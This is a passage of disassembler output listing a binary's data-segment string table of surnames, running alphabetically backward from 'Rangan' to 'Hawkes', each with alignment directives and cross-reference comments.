'Rangan',0 ; DATA XREF: ___:0042EA70o align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042EA6Co align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042EA68o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042EA64o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042EA60o align 10h aRabe db 'Rabe',0 ; DATA XREF: ___:0042EA5Co align 4 aQuetin db 'Quetin',0 ; DATA XREF: ___:0042EA58o align 10h aQuaday db 'Quaday',0 ; DATA XREF: ___:0042EA54o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042EA50o aPugh db 'Pugh',0 ; DATA XREF: ___:0042EA4Co align 4 aPuccia db 'Puccia',0 ; DATA XREF: ___:0042EA48o align 10h aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042EA44o align 10h aProietti db 'Proietti',0 ; DATA XREF: ___:0042EA40o align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042EA3Co align 4 aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042EA38o align 10h aPrevost db 'Prevost',0 ; DATA XREF: ___:0042EA34o aPreucel db 'Preucel',0 ; DATA XREF: ___:0042EA30o aPresper db 'Presper',0 ; DATA XREF: ___:0042EA2Co aPowers db 'Powers',0 ; DATA XREF: ___:0042EA28o align 10h aPoolman db 'Poolman',0 ; DATA XREF: ___:0042EA24o aPoma db 'Poma',0 ; DATA XREF: ___:0042EA20o align 10h aPolitis db 'Politis',0 ; DATA XREF: ___:0042EA1Co aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042EA18o aPolak db 'Polak',0 ; DATA XREF: ___:0042EA14o align 4 aPoirier db 'Poirier',0 ; DATA XREF: ___:0042EA10o aPointer db 'Pointer',0 ; DATA XREF: ___:0042EA0Co aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042EA08o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042EA04o align 10h aPo db 'Po',0 ; DATA XREF: ___:0042EA00o align 4 aPlous db 'Plous',0 ; DATA XREF: ___:0042E9FCo align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E9F8o aPlant db 'Plant',0 ; DATA XREF: ___:0042E9F4o align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E9F0o aPinot db 'Pinot',0 ; DATA XREF: ___:0042E9ECo align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E9E8o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E9E4o aPettit db 'Pettit',0 ; DATA XREF: ___:0042E9E0o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E9DCo align 10h aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E9D8o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E9D4o align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E9D0o align 10h aPerone db 'Perone',0 ; DATA XREF: ___:0042E9CCo align 4 aPerna db 'Perna',0 ; DATA XREF: ___:0042E9C8o align 10h aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E9C4o aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E9C0o align 10h aPerko db 'Perko',0 ; DATA XREF: ___:0042E9BCo align 4 aPereira db 'Pereira',0 ; DATA XREF: ___:0042E9B8o aPenny db 'Penny',0 ; DATA XREF: ___:0042E9B4o align 4 aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E9B0o aPederson db 'Pederson',0 ; DATA XREF: ___:0042E9ACo align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E9A8o align 4 aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E9A4o aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E9A0o aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E99Co align 4 aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E998o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E994o aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E990o align 10h aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E98Co aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E988o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E984o align 10h aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E980o align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E97Co align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E978o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E974o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E970o align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E96Co align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E968o align 10h aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E964o align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E960o aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E95Co align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E958o align 4 aPaine db 'Paine',0 ; DATA XREF: ___:0042E954o align 10h aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E950o align 10h aOvid db 'Ovid',0 ; DATA XREF: ___:0042E94Co align 4 aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E948o aOtten db 'Otten',0 ; DATA XREF: ___:0042E944o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E940o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E93Co align 10h aOspina db 'Ospina',0 ; DATA XREF: ___:0042E938o align 4 aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E934o align 10h aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E930o aOray db 'Oray',0 ; DATA XREF: ___:0042E92Co align 10h aOpel db 'Opel',0 ; DATA XREF: ___:0042E928o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E924o aOman db 'Oman',0 ; DATA XREF: ___:0042E920o align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E91Co align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E918o align 10h aOlson db 'Olson',0 ; DATA XREF: ___:0042E914o align 4 aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E910o align 10h aOldford db 'Oldford',0 ; DATA XREF: ___:0042E90Co aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E908o aOh db 'Oh',0 ; DATA XREF: ___:0042E904o align 4 aOgata db 'Ogata',0 ; DATA XREF: ___:0042E900o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E8FCo aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E8F8o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E8F4o align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E8F0o align 10h aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E8ECo align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E8E8o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E8E4o align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E8E0o align 4 aNg db 'Ng',0 ; DATA XREF: ___:0042E8DCo align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E8D8o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E8D4o aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E8D0o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0042E8CCo align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E8C8o align 4 aNelson db 'Nelson',0 ; DATA XREF: ___:0042E8C4o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E8C0o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E8BCo aNardone db 'Nardone',0 ; DATA XREF: ___:0042E8B8o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E8B4o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E8B0o align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E8ACo align 10h aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E8A8o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E8A4o aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E8A0o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E89Co aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E898o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E894o align 4 aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E890o aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E88Co aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E888o align 10h aMosler db 'Mosler',0 ; DATA XREF: ___:0042E884o align 4 aMosher db 'Mosher',0 ; DATA XREF: ___:0042E880o align 10h aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E87Co align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E878o align 4 aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E874o align 10h aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E870o aMorani db 'Morani',0 ; DATA XREF: ___:0042E86Co align 10h aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E868o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E864o align 4 aMonque db 'Monque',0 ; DATA XREF: ___:0042E860o align 10h aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E85Co align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E858o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E854o aModestino db 'Modestino',0 ; DATA XREF: ___:0042E850o align 4 aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E84Co aMittal db 'Mittal',0 ; DATA XREF: ___:0042E848o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E844o aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E840o align 10h aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E83Co aMini db 'Mini',0 ; DATA XREF: ___:0042E838o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0042E834o align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E830o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0042E82Co align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E828o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E824o align 10h aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E820o align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E81Co align 4 aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E818o aMerz db 'Merz',0 ; DATA XREF: ___:0042E814o align 4 aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E810o aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E80Co align 4 aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E808o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E804o align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E800o aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E7FCo align 10h aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E7F8o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E7F4o aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E7F0o aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E7ECo aMclane db 'Mclane',0 ; DATA XREF: ___:0042E7E8o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E7E4o aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E7E0o align 10h aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E7DCo aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E7D8o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E7D4o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E7D0o align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E7CCo aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E7C8o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E7C4o align 4 aMccall db 'Mccall',0 ; DATA XREF: ___:0042E7C0o align 10h aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E7BCo align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E7B8o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E7B4o align 10h aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E7B0o aMay db 'May',0 ; DATA XREF: ___:0042E7ACo aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E7A8o align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0042E7A4o aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E7A0o align 4 aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E79Co align 4 aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E798o aMass db 'Mass',0 ; DATA XREF: ___:0042E794o align 4 aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E790o align 10h aMarton db 'Marton',0 ; DATA XREF: ___:0042E78Co align 4 aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E788o align 4 aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E784o align 10h aMarques db 'Marques',0 ; DATA XREF: ___:0042E780o aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E77Co align 4 aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E778o align 10h aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E774o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E770o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E76Co align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E768o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E764o aMandel db 'Mandel',0 ; DATA XREF: ___:0042E760o align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E75Co aMalova db 'Malova',0 ; DATA XREF: ___:0042E758o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E754o align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E750o align 10h aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E74Co aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E748o align 4 aMaier db 'Maier',0 ; DATA XREF: ___:0042E744o align 10h aMahony db 'Mahony',0 ; DATA XREF: ___:0042E740o align 4 aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E73Co align 10h aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E738o aMacy db 'Macy',0 ; DATA XREF: ___:0042E734o align 10h aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E730o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E72Co align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E728o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E724o align 10h aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E720o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E71Co align 4 aMa db 'Ma',0 ; DATA XREF: ___:0042E718o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E714o aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E710o align 10h aLussier db 'Lussier',0 ; DATA XREF: ___:0042E70Co aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E708o align 10h aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E704o aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E700o align 10h aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E6FCo aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E6F8o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E6F4o align 4 aLubin db 'Lubin',0 ; DATA XREF: ___:0042E6F0o align 10h aLoza db 'Loza',0 ; DATA XREF: ___:0042E6ECo align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E6E8o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E6E4o aLoss db 'Loss',0 ; DATA XREF: ___:0042E6E0o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E6DCo align 10h aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E6D8o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E6D4o aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E6D0o aLivi db 'Livi',0 ; DATA XREF: ___:0042E6CCo align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E6C8o align 10h aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E6C4o align 4 aLittle db 'Little',0 ; DATA XREF: ___:0042E6C0o align 10h aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E6BCo align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E6B8o align 4 aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E6B4o align 10h aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E6B0o aLine db 'Line',0 ; DATA XREF: ___:0042E6ACo align 10h aLinder db 'Linder',0 ; DATA XREF: ___:0042E6A8o align 4 aLinda db 'Linda',0 ; DATA XREF: ___:0042E6A4o align 10h aLinares db 'Linares',0 ; DATA XREF: ___:0042E6A0o aLim db 'Lim',0 ; DATA XREF: ___:0042E69Co aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E698o align 4 aLight db 'Light',0 ; DATA XREF: ___:0042E694o align 10h aLiem db 'Liem',0 ; DATA XREF: ___:0042E690o align 4 aLidano db 'Lidano',0 ; DATA XREF: ___:0042E68Co align 10h aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E688o align 4 aLessi db 'Lessi',0 ; DATA XREF: ___:0042E684o align 10h aLesser db 'Lesser',0 ; DATA XREF: ___:0042E680o align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E67Co align 4 aLenard db 'Lenard',0 ; DATA XREF: ___:0042E678o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042E674o align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E670o align 10h aLecce db 'Lecce',0 ; DATA XREF: ___:0042E66Co align 4 aLecar db 'Lecar',0 ; DATA XREF: ___:0042E668o align 10h aLawless db 'Lawless',0 ; DATA XREF: ___:0042E664o aLashley db 'Lashley',0 ; DATA XREF: ___:0042E660o aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E65Co aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E658o align 10h aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E654o align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042E650o align 4 aLandes db 'Landes',0 ; DATA XREF: ___:0042E64Co align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042E648o align 4 aLaing db 'Laing',0 ; DATA XREF: ___:0042E644o align 10h aLafler db 'Lafler',0 ; DATA XREF: ___:0042E640o align 4 aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E63Co aLa db 'La',0 ; DATA XREF: ___:0042E638o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E634o align 10h aKusman db 'Kusman',0 ; DATA XREF: ___:0042E630o align 4 aKumar db 'Kumar',0 ; DATA XREF: ___:0042E62Co align 10h aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E628o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E624o aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E620o aKraus db 'Kraus',0 ; DATA XREF: ___:0042E61Co align 10h aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E618o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E614o align 10h aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E610o aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E60Co align 10h aKotter db 'Kotter',0 ; DATA XREF: ___:0042E608o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E604o align 4 aKool db 'Kool',0 ; DATA XREF: ___:0042E600o align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E5FCo align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E5F8o align 10h aKommer db 'Kommer',0 ; DATA XREF: ___:0042E5F4o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E5F0o align 4 aKohn db 'Kohn',0 ; DATA XREF: ___:0042E5ECo align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042E5E8o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E5E4o aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E5E0o align 4 aKlint db 'Klint',0 ; DATA XREF: ___:0042E5DCo align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E5D8o aKling db 'Kling',0 ; DATA XREF: ___:0042E5D4o align 10h aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E5D0o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E5CCo aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E5C8o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E5C4o align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E5C0o align 4 aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E5BCo aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E5B8o align 10h aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E5B4o aKindall db 'Kindall',0 ; DATA XREF: ___:0042E5B0o aKimura db 'Kimura',0 ; DATA XREF: ___:0042E5ACo align 4 aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E5A8o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E5A4o align 4 aKhong db 'Khong',0 ; DATA XREF: ___:0042E5A0o align 10h aKeul db 'Keul',0 ; DATA XREF: ___:0042E59Co align 4 aKerry db 'Kerry',0 ; DATA XREF: ___:0042E598o align 10h aKendall db 'Kendall',0 ; DATA XREF: ___:0042E594o aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E590o aKempton db 'Kempton',0 ; DATA XREF: ___:0042E58Co aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E588o align 10h aKelker db 'Kelker',0 ; DATA XREF: ___:0042E584o align 4 aKeith db 'Keith',0 ; DATA XREF: ___:0042E580o align 10h aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E57Co aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E578o align 10h aKee db 'Kee',0 ; DATA XREF: ___:0042E574o aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E570o aKasten db 'Kasten',0 ; DATA XREF: ___:0042E56Co align 4 aKassower db 'Kassower',0 ; DATA XREF: ___:0042E568o align 10h aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E564o align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042E560o align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042E55Co align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042E558o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E554o align 10h aKalil db 'Kalil',0 ; DATA XREF: ___:0042E550o align 4 aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E54Co align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E548o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E544o aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E540o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E53Co aJulious db 'Julious',0 ; DATA XREF: ___:0042E538o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E534o aJucks db 'Jucks',0 ; DATA XREF: ___:0042E530o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E52Co align 10h aJolly db 'Jolly',0 ; DATA XREF: ___:0042E528o align 4 aJohns db 'Johns',0 ; DATA XREF: ___:0042E524o align 10h aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E520o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E51Co aJewett db 'Jewett',0 ; DATA XREF: ___:0042E518o align 10h aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E514o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E510o aJellis db 'Jellis',0 ; DATA XREF: ___:0042E50Co align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E508o aJay db 'Jay',0 ; DATA XREF: ___:0042E504o aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E500o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E4FCo align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E4F8o align 4 aJamil db 'Jamil',0 ; DATA XREF: ___:0042E4F4o align 10h aJain db 'Jain',0 ; DATA XREF: ___:0042E4F0o align 4 aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E4ECo align 10h aJagger db 'Jagger',0 ; DATA XREF: ___:0042E4E8o align 4 aJagers db 'Jagers',0 ; DATA XREF: ___:0042E4E4o align 10h aJackson db 'Jackson',0 ; DATA XREF: ___:0042E4E0o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E4DCo aIyer db 'Iyer',0 ; DATA XREF: ___:0042E4D8o align 4 aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E4D4o align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E4D0o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E4CCo align 4 aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E4C8o align 10h aInniss db 'Inniss',0 ; DATA XREF: ___:0042E4C4o align 4 aInamura db 'Inamura',0 ; DATA XREF: ___:0042E4C0o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E4BCo align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E4B8o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E4B4o align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042E4B0o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E4ACo align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E4A8o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042E4A4o align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E4A0o align 4 aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E49Co align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E498o align 10h aHuey db 'Huey',0 ; DATA XREF: ___:0042E494o align 4 aHoy db 'Hoy',0 ; DATA XREF: ___:0042E490o aHoward db 'Howard',0 ; DATA XREF: ___:0042E48Co align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042E488o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042E484o aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E480o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E47Co aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E478o aHooker db 'Hooker',0 ; DATA XREF: ___:0042E474o align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E470o aHolway db 'Holway',0 ; DATA XREF: ___:0042E46Co align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042E468o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E464o aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E460o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E45Co align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E458o align 10h aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E454o aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E450o align 10h aHock db 'Hock',0 ; DATA XREF: ___:0042E44Co align 4 aHoang db 'Hoang',0 ; DATA XREF: ___:0042E448o align 10h aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E444o align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042E440o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042E43Co align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E438o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E434o align 10h aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E430o aHester db 'Hester',0 ; DATA XREF: ___:0042E42Co align 10h aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E428o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E424o align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E420o align 10h aHenery db 'Henery',0 ; DATA XREF: ___:0042E41Co align 4 aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E418o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E414o aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E410o align 4 aHellman db 'Hellman',0 ; DATA XREF: ___:0042E40Co aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E408o aHeft db 'Heft',0 ; DATA XREF: ___:0042E404o align 10h aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E400o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E3FCo align 4 aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E3F8o align 10h aHayes db 'Hayes',0 ; DATA XREF: ___:0042E3F4o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: 